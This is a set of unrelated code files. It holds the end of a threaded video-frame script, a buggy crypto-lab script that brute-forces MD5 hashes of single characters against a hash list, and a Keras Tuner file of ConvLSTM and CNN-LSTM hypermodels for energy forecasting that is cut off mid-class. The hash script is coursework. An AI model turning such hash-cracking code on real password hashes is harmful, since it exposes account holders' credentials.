t56.start() t57.start() t58.start() t59.start() t60.start() t1.join() t2.join() t3.join() t4.join() t5.join() t6.join() t7.join() t8.join() t9.join() t10.join() t11.join() t12.join() t13.join() t14.join() t15.join() t16.join() t17.join() t18.join() t19.join() t20.join() t21.join() t22.join() t23.join() t24.join() t25.join() t26.join() t27.join() t28.join() t29.join() t30.join() t31.join() t32.join() t33.join() t34.join() t35.join() t36.join() t37.join() t38.join() t39.join() t40.join() t41.join() t42.join() t43.join() t44.join() t45.join() t46.join() t47.join() t48.join() t49.join() t50.join() t51.join() t52.join() t53.join() t54.join() t55.join() t56.join() t57.join() t58.join() t59.join() t60.join() # Loading the video into python cap = cv2.VideoCapture('bunny.mp4') # Making a folder for the edited frames try: if not os.path.exists('data'): os.makedirs('data') except OSError: print ('Error: Creating directory of data') currentFrame = 0 imgs = [] height = 0 width = 0 n = 0 while(True): # Capture frame-by-frame ret, frame = cap.read() if not ret: if(len(imgs) != 0): for i in range(len(imgs)): detect(img[i], currentFrame) break # Converting the frame to grayscale and adding it to a list name = './data/frame' + str(currentFrame) + '.jpg' print ('Slicing and converting to grayscale...' + name) imgs.append(rgb2gray(frame)) if(currentFrame % 60 == 0 and currentFrame != 0): thread((currentFrame / 60) - 1, imgs) imgs = [] # Find height and width height, width, _ = frame.shape currentFrame += 1 image_folder = 'data' images = [img for img in os.listdir(image_folder) if img.endswith(".jpg")] frame = cv2.imread(os.path.join(image_folder, images[0])) height, width, _ = frame.shape exportVid() # When everything done, release the capture cap.release() cv2.destroyAllWindows()
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/myhashtry.py
877c1cafe1784c183cfe3f85b83929bd081b06e3
[]
no_license
unmutilated/code
49750a92ec855158740f456b3b1d3dd34890ca88
8961e5cf394aecdf71d70cc6b2ff03f35de14db5
refs/heads/master
2022-05-24T13:14:37.318698
2020-04-27T20:11:08
2020-04-27T20:11:08
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import sys import hashlib Output = [] def ReadFile(): file0 = open("CRY_Lab_02_B_hashes.txt", "r") lines = f.readlines() file0.close() s = set() for data in lines: s.add(data.strip()) print("Read in {0} lines from the MD5 hash file".format(len(lines))) return s def SaveFile(): file1 = open("Output.txt","w") file1.writelines(Output) file1.close def HashFind(): hashset = ReadFile() alph = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@" count = 0 for element in range(0, len(alph)): m = alph[element] print(element) #for debuggig print(len(alph)) #for debugging h = hashlib.md5(m.encode()).hexdigest() if h in hashset: Output.append("{0} Found a hash: {1} hashes to {2}\n".format(count, m, h)) count = count +1 if count >= 1000: print("All Done") SaveFile() sys.exit() else: sys.exit() if __name__ == "__main__": while True: userchoice = input("to hash press h [Enter to quit]: ").upper() if userchoice.startswith("H"): HashFind() else: sys.exit()
1b1ef729bfe6870880ec2b3f58f8d04117f29bc5
ddf9d47a06ce85f9d06ec4923982f96996e028a7
/Notebooks/Entrenamiento Modelo/CustomHyperModelImages.py
2f49fceefd6a2ddbc8d07d8b4f3d7947bbe71e0f
[]
no_license
SebasPelaez/colombia-energy-forecast
f7b7a184026d3eb22a2087fda39249998ba1128e
269d432dfda0e976aa06d1b9b7804945d9362af3
refs/heads/master
2023-04-14T18:36:14.294769
2021-04-21T14:01:58
2021-04-21T14:01:58
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import tensorflow as tf import CustomMetrics from kerastuner import HyperModel class ArquitecturaI1(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.ConvLSTM2D( input_shape=self.input_shape, filters=hp.Int( "convLSTM2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_1", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ), return_sequences=True ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=3 ) ) ) model.add( tf.keras.layers.ConvLSTM2D( filters=hp.Int( "convLSTM2d_filters_layer_3", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_3", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_3", values=["valid", "same"], default="valid" ), return_sequences=True ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=3 ) ) ) model.add( tf.keras.layers.ConvLSTM2D( filters=hp.Int( "convLSTM2d_filters_layer_5", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_5", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_5", values=["valid", "same"], default="valid" ), return_sequences=False ) ) model.add( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool2d_size_layer_6", min_value=3, max_value=5, step=2, default=3 ) ) ) model.add( tf.keras.layers.Flatten() ) model.add( tf.keras.layers.Dense( units=hp.Int( "dense_units_layer_8", min_value=24, max_value=120, step=24, default=120 ), activation=hp.Choice( "dense_layer_activation", values=["relu", "tanh", "sigmoid"], default="relu" ) ) ) model.add(tf.keras.layers.Dense(units=self.n_steps_out,activation=None)) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI2(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.ConvLSTM2D( input_shape=self.input_shape, filters=hp.Int( "convLSTM2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_1", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ), return_sequences=True ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool2d_size_layer_2", min_value=3, max_value=5, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.ConvLSTM2D( filters=hp.Int( "convLSTM2d_filters_layer_3", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_3", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_3", values=["valid", "same"], default="valid" ), return_sequences=False ) ) model.add( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool2d_size_layer_4", min_value=3, max_value=5, step=2, default=3 ) ) ) model.add( tf.keras.layers.Flatten() ) model.add( tf.keras.layers.Dense( units=hp.Int( "dense_units_layer_6", min_value=24, max_value=120, step=24, default=120 ), activation=hp.Choice( "dense_layer_6_activation", values=["relu", "tanh", "sigmoid"], default="relu" ) ) ) model.add(tf.keras.layers.Dense(units=self.n_steps_out,activation=None)) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI3(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.ConvLSTM2D( input_shape=self.input_shape, filters=hp.Int( "convLSTM2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_1", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ), return_sequences=False ) ) model.add( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool2d_size_layer_2", min_value=3, max_value=7, step=2, default=3 ) ) ) model.add( tf.keras.layers.Flatten() ) model.add( tf.keras.layers.Dense( units=hp.Int( "dense_units_layer_4", min_value=24, max_value=120, step=24, default=120 ), activation=hp.Choice( "dense_layer_4_activation", values=["relu", "tanh", "sigmoid"], default="relu" ) ) ) model.add(tf.keras.layers.Dense(units=self.n_steps_out,activation=None)) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI4(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.ConvLSTM2D( input_shape=self.input_shape, filters=hp.Int( "convLSTM2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_1", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ), return_sequences=True ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=3 ) ) ) model.add( tf.keras.layers.ConvLSTM2D( filters=hp.Int( "convLSTM2d_filters_layer_3", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_3", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_3", values=["valid", "same"], default="valid" ), return_sequences=True ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=3 ) ) ) model.add( tf.keras.layers.ConvLSTM2D( filters=hp.Int( "convLSTM2d_filters_layer_5", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_5", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_5", values=["valid", "same"], default="valid" ), return_sequences=False ) ) model.add( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool2d_size_layer_6", min_value=3, max_value=5, step=2, default=3 ) ) ) model.add( tf.keras.layers.Flatten() ) model.add(tf.keras.layers.Dense(units=self.n_steps_out,activation=None)) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI5(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.ConvLSTM2D( input_shape=self.input_shape, filters=hp.Int( "convLSTM2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_1", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ), return_sequences=True ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool2d_size_layer_2", min_value=3, max_value=5, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.ConvLSTM2D( filters=hp.Int( "convLSTM2d_filters_layer_3", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_3", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_3", values=["valid", "same"], default="valid" ), return_sequences=False ) ) model.add( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool2d_size_layer_4", min_value=3, max_value=5, step=2, default=3 ) ) ) model.add( tf.keras.layers.Flatten() ) model.add(tf.keras.layers.Dense(units=self.n_steps_out,activation=None)) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI6(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.ConvLSTM2D( input_shape=self.input_shape, filters=hp.Int( "convLSTM2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "convLSTM2d_kernel_layer_1", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ), return_sequences=False ) ) model.add( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool2d_size_layer_2", min_value=3, max_value=7, step=2, default=3 ) ) ) model.add( tf.keras.layers.Flatten() ) model.add(tf.keras.layers.Dense(units=self.n_steps_out,activation=None)) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI7(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( input_shape=self.input_shape, filters=hp.Int( "conv2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_1", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=3 ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( filters=hp.Int( "conv2d_filters_layer_3", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_3", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_3", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=3 ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( filters=hp.Int( "conv2d_filters_layer_5", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_5", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_5", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool_kernel_layer_6", min_value=3, max_value=5, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Flatten() ) ) model.add( tf.keras.layers.LSTM( units=hp.Int( "lstm_units_layer_7", min_value=64, max_value=512, step=64, default=128 ), activation='tanh', kernel_regularizer=tf.keras.regularizers.L1( l1=hp.Float( "kernel_regularizer_layer_7", min_value=0, max_value=0.105, step=0.0075, default=1e-2, ) ), dropout=hp.Float( "dropout_regularizer_layer_7", min_value=0, max_value=0.99, step=0.09, default=0 ), return_sequences=False, stateful=False ) ) model.add( tf.keras.layers.Dense( units=hp.Int( "dense_units_layer_8", min_value=24, max_value=120, step=24, default=120 ), activation=hp.Choice( "dense_layer_8_activation", values=["relu", "tanh", "sigmoid"], default="relu" ) ) ) model.add( tf.keras.layers.Dense(units=self.n_steps_out,activation=None) ) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI8(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( input_shape=self.input_shape, filters=hp.Int( "conv2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_1", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool_kernel_layer_2", min_value=3, max_value=5, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( filters=hp.Int( "conv2d_filters_layer_3", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_3", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_3", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool_kernel_layer_4", min_value=3, max_value=5, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Flatten() ) ) model.add( tf.keras.layers.LSTM( units=hp.Int( "lstm_units_layer_6", min_value=64, max_value=512, step=64, default=128 ), activation='tanh', kernel_regularizer=tf.keras.regularizers.L1( l1=hp.Float( "kernel_regularizer_layer_6", min_value=0, max_value=0.105, step=0.0075, default=1e-2, ) ), dropout=hp.Float( "dropout_regularizer_layer_6", min_value=0, max_value=0.99, step=0.09, default=0 ), return_sequences=False, stateful=False ) ) model.add( tf.keras.layers.Dense( units=hp.Int( "dense_units_layer_7", min_value=24, max_value=120, step=24, default=120 ), activation=hp.Choice( "dense_layer_7_activation", values=["relu", "tanh", "sigmoid"], default="relu" ) ) ) model.add( tf.keras.layers.Dense(units=self.n_steps_out,activation=None) ) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI9(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( input_shape=self.input_shape, filters=hp.Int( "conv2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_1", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool_kernel_layer_2", min_value=3, max_value=7, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Flatten() ) ) model.add( tf.keras.layers.LSTM( units=hp.Int( "lstm_units_layer_3", min_value=64, max_value=512, step=64, default=128 ), activation='tanh', kernel_regularizer=tf.keras.regularizers.L1( l1=hp.Float( "kernel_regularizer_layer_4", min_value=0, max_value=0.105, step=0.0075, default=1e-2, ) ), dropout=hp.Float( "dropout_regularizer_layer_4", min_value=0, max_value=0.99, step=0.09, default=0 ), return_sequences=False, stateful=False ) ) model.add( tf.keras.layers.Dense( units=hp.Int( "dense_units_layer_5", min_value=24, max_value=120, step=24, default=120 ), activation=hp.Choice( "dense_layer_5_activation", values=["relu", "tanh", "sigmoid"], default="relu" ) ) ) model.add( tf.keras.layers.Dense(units=self.n_steps_out,activation=None) ) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI10(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( input_shape=self.input_shape, filters=hp.Int( "conv2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_1", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=3 ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( filters=hp.Int( "conv2d_filters_layer_3", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_3", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_3", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=3 ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( filters=hp.Int( "conv2d_filters_layer_5", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_5", min_value=3, max_value=5, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_5", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool_kernel_layer_6", min_value=3, max_value=5, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Flatten() ) ) model.add( tf.keras.layers.LSTM( units=hp.Int( "lstm_units_layer_7", min_value=64, max_value=512, step=64, default=128 ), activation='tanh', kernel_regularizer=tf.keras.regularizers.L1( l1=hp.Float( "kernel_regularizer_layer_7", min_value=0, max_value=0.105, step=0.0075, default=1e-2, ) ), dropout=hp.Float( "dropout_regularizer_layer_7", min_value=0, max_value=0.99, step=0.09, default=0 ), return_sequences=False, stateful=False ) ) model.add( tf.keras.layers.Dense(units=self.n_steps_out,activation=None) ) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI11(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( input_shape=self.input_shape, filters=hp.Int( "conv2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_1", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool_kernel_layer_2", min_value=3, max_value=5, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( filters=hp.Int( "conv2d_filters_layer_3", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_3", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_3", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool_kernel_layer_4", min_value=3, max_value=5, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Flatten() ) ) model.add( tf.keras.layers.LSTM( units=hp.Int( "lstm_units_layer_6", min_value=64, max_value=512, step=64, default=128 ), activation='tanh', kernel_regularizer=tf.keras.regularizers.L1( l1=hp.Float( "kernel_regularizer_layer_6", min_value=0, max_value=0.105, step=0.0075, default=1e-2, ) ), dropout=hp.Float( "dropout_regularizer_layer_6", min_value=0, max_value=0.99, step=0.09, default=0 ), return_sequences=False, stateful=False ) ) model.add( tf.keras.layers.Dense(units=self.n_steps_out,activation=None) ) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI12(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( input_shape=self.input_shape, filters=hp.Int( "conv2d_filters_layer_1", min_value=8, max_value=32, step=32, default=32 ), kernel_size=hp.Int( "conv2d_kernel_layer_1", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool_kernel_layer_2", min_value=3, max_value=7, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Flatten() ) ) model.add( tf.keras.layers.LSTM( units=hp.Int( "lstm_units_layer_3", min_value=64, max_value=448, step=64, default=128 ), activation='tanh', kernel_regularizer=tf.keras.regularizers.L1( l1=hp.Float( "kernel_regularizer_layer_4", min_value=0, max_value=0.105, step=0.0075, default=1e-2, ) ), dropout=hp.Float( "dropout_regularizer_layer_4", min_value=0, max_value=0.99, step=0.09, default=0 ), return_sequences=False, stateful=False ) ) model.add( tf.keras.layers.Dense(units=self.n_steps_out,activation=None) ) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-4, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI13(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( input_shape=self.input_shape, filters=hp.Int( "conv2d_filters_layer_1", min_value=8, max_value=16, step=8, default=16 ), kernel_size=hp.Int( "conv2d_kernel_layer_1", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.MaxPooling2D( pool_size=hp.Int( "pool_kernel_layer_2", min_value=3, max_value=7, step=2, default=3 ) ) ) ) model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Flatten() ) ) model.add( tf.keras.layers.LSTM( units=hp.Int( "lstm_units_layer_4", min_value=64, max_value=448, step=64, default=128 ), activation='tanh', kernel_regularizer=tf.keras.regularizers.L1(l1=0), dropout=hp.Float( "dropout_regularizer_layer_4", min_value=0, max_value=0.99, step=0.09, default=0 ), return_sequences=False, stateful=False ) ) model.add( tf.keras.layers.Dense( units=hp.Int( "dense_units_layer_5", min_value=24, max_value=120, step=24, default=120 ), activation=hp.Choice( "dense_layer_5_activation", values=["relu", "tanh", "sigmoid"], default="relu" ) ) ) model.add( tf.keras.layers.Dense(units=self.n_steps_out,activation=None) ) model.compile( optimizer=tf.optimizers.Adam( hp.Float( "learning_rate", min_value=1e-5, max_value=1e-2, sampling="LOG", default=1e-3, ) ), loss=CustomMetrics.symmetric_mean_absolute_percentage_error, metrics=[ tf.metrics.MeanAbsoluteError(), tf.keras.metrics.MeanAbsolutePercentageError(), CustomMetrics.symmetric_mean_absolute_percentage_error], ) return model class ArquitecturaI14(HyperModel): def __init__(self,input_shape,n_steps_out): self.input_shape = input_shape self.n_steps_out = n_steps_out def build(self, hp): model = tf.keras.Sequential() model.add( tf.keras.layers.TimeDistributed( tf.keras.layers.Conv2D( input_shape=self.input_shape, filters=hp.Int( "conv2d_filters_layer_1", min_value=8, max_value=16, step=8, default=16 ), kernel_size=hp.Int( "conv2d_kernel_layer_1", min_value=3, max_value=7, step=2, default=3 ), activation='relu', padding=hp.Choice( "conv2d_padding_layer_1", values=["valid", "same"], default="valid" ) ) 